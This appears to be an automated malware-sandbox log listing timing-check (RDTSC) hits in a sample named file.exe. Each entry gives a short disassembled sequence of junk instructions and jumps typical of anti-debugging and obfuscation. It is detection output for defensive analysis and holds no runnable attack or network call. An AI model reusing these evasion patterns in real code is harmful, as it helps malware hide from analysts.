Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732770 second address: 732790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD1032945h 0x00000009 jne 00007F2FD1032936h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732916 second address: 73291A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73291A second address: 732920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732920 second address: 732926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732926 second address: 732947 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032946h 0x00000007 pushad 0x00000008 je 00007F2FD1032936h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732947 second address: 73294D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732EF3 second address: 732EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73169D second address: 7316A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2FD0BFC0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7316A7 second address: 7316B9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F2FD103293Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7316B9 second address: 7316BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7316BD second address: 7316C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7316C3 second address: 7316C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A183 second address: 73A189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A189 second address: 73A18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A18F second address: 73A1B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F2FD1032936h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A1B0 second address: 73A1F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jc 00007F2FD0BFC0B6h 0x00000012 jns 00007F2FD0BFC0B6h 0x00000018 jmp 00007F2FD0BFC0C1h 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A1F0 second address: 73A1FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F2FD1032936h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A1FC second address: 73A200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7428D6 second address: 7428EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD1032944h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741835 second address: 74183F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2FD0BFC0D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFB52 second address: 6EFBDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F2FD1032938h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov ebx, dword ptr [ebp+12482B6Dh] 0x0000002a mov dword ptr [ebp+122D3868h], ebx 0x00000030 add eax, ebx 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F2FD1032938h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c movzx ecx, ax 0x0000004f nop 0x00000050 jmp 00007F2FD103293Eh 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push ecx 0x00000059 jmp 00007F2FD1032945h 0x0000005e pop ecx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFBDA second address: 6EFC52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F2FD0BFC0B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D2C09h] 0x0000002a sub dword ptr [ebp+12456034h], edx 0x00000030 push 00000004h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F2FD0BFC0B8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c nop 0x0000004d pushad 0x0000004e jnp 00007F2FD0BFC0BCh 0x00000054 push eax 0x00000055 push edx 0x00000056 push esi 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F47 second address: 744F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F4B second address: 744F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F2FD0BFC0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744F5B second address: 744F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7450AE second address: 7450D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2FD0BFC0BCh 0x0000000a jnc 00007F2FD0BFC0B6h 0x00000010 popad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2FD0BFC0C1h 0x00000019 ja 00007F2FD0BFC0B6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74538F second address: 745394 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748556 second address: 74855A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74855A second address: 748563 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748563 second address: 748575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD0BFC0BCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748BCB second address: 748BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EB6E second address: 74EB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EB74 second address: 74EB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2FD1032936h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EB85 second address: 74EB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EB89 second address: 74EB8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ED18 second address: 74ED1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ED1C second address: 74ED41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 ja 00007F2FD1032936h 0x0000000f jg 00007F2FD1032936h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2FD103293Bh 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74ED41 second address: 74ED55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F2FD0BFC0B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EE86 second address: 74EED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 jmp 00007F2FD103293Eh 0x0000000b jo 00007F2FD1032936h 0x00000011 pop edx 0x00000012 push esi 0x00000013 push edx 0x00000014 pop edx 0x00000015 jmp 00007F2FD1032946h 0x0000001a pop esi 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F2FD1032943h 0x00000023 push ecx 0x00000024 js 00007F2FD1032936h 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EED9 second address: 74EEF6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2FD0BFC0C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EEF6 second address: 74EEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74EEFF second address: 74EF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2FD0BFC0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F779 second address: 74F7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F2FD103293Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2FD1032947h 0x00000019 jmp 00007F2FD1032947h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F7C0 second address: 74F7C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7502D0 second address: 7502E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F2FD103293Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7502E0 second address: 7502E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7502E5 second address: 7502FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2FD1032936h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007F2FD1032936h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75061E second address: 75062B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7550B7 second address: 7550D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop eax 0x0000000b jc 00007F2FD103293Eh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7542FD second address: 754303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754303 second address: 754307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754307 second address: 754313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F2FD0BFC0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754313 second address: 754318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754318 second address: 75431E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754615 second address: 75461B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7549E8 second address: 7549ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754B15 second address: 754B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD103293Ch 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754B2B second address: 754B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD0BFC0BBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754B3C second address: 754B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F2FD1032936h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754B4B second address: 754B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7616E9 second address: 76173A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F2FD1032946h 0x0000000f pop esi 0x00000010 jmp 00007F2FD103293Bh 0x00000015 push eax 0x00000016 jg 00007F2FD1032936h 0x0000001c jc 00007F2FD1032936h 0x00000022 pop eax 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 pop edi 0x0000002a push edx 0x0000002b pop edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76173A second address: 761765 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2FD0BFC0C2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007F2FD0BFC0C1h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F9FF second address: 75FA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD1032943h 0x00000009 pop eax 0x0000000a js 00007F2FD1032942h 0x00000010 jbe 00007F2FD1032936h 0x00000016 jnc 00007F2FD1032936h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FA29 second address: 75FA31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FBD9 second address: 75FBDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FBDF second address: 75FBFC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F2FD0BFC0BAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F2FD0BFC0BAh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760026 second address: 76002D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76002D second address: 760053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD0BFC0BBh 0x00000009 jmp 00007F2FD0BFC0C0h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7602C1 second address: 7602C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7602C5 second address: 7602C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7602C9 second address: 7602CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7602CF second address: 7602FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2FD0BFC0C8h 0x0000000c pop edx 0x0000000d jnc 00007F2FD0BFC0D3h 0x00000013 jo 00007F2FD0BFC0CDh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760567 second address: 76059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jmp 00007F2FD103293Bh 0x0000000b pop ecx 0x0000000c jno 00007F2FD103293Eh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F2FD103293Ah 0x0000001b push esi 0x0000001c pop esi 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76059A second address: 7605A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F2FD0BFC0B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7615B3 second address: 7615BD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7694B7 second address: 7694D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0BAh 0x00000007 jmp 00007F2FD0BFC0C0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7694D5 second address: 7694DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7694DA second address: 7694E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7694E0 second address: 7694E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768F3E second address: 768F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C729 second address: 76C72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C72F second address: 76C733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C733 second address: 76C747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2FD103293Eh 0x0000000c jl 00007F2FD1032936h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775470 second address: 7754B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnp 00007F2FD0BFC0B6h 0x0000000d jmp 00007F2FD0BFC0C1h 0x00000012 pop esi 0x00000013 jmp 00007F2FD0BFC0C3h 0x00000018 pushad 0x00000019 jno 00007F2FD0BFC0B6h 0x0000001f jo 00007F2FD0BFC0B6h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7755E7 second address: 7755ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7755ED second address: 7755F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7755F1 second address: 7755F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7755F7 second address: 775601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F2FD0BFC0B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775601 second address: 775605 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777B2A second address: 777B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2FD0BFC0C0h 0x00000009 je 00007F2FD0BFC0B6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777B49 second address: 777B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777B4F second address: 777B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ACE1 second address: 77ACF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F2FD1032936h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ACF1 second address: 77ACF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
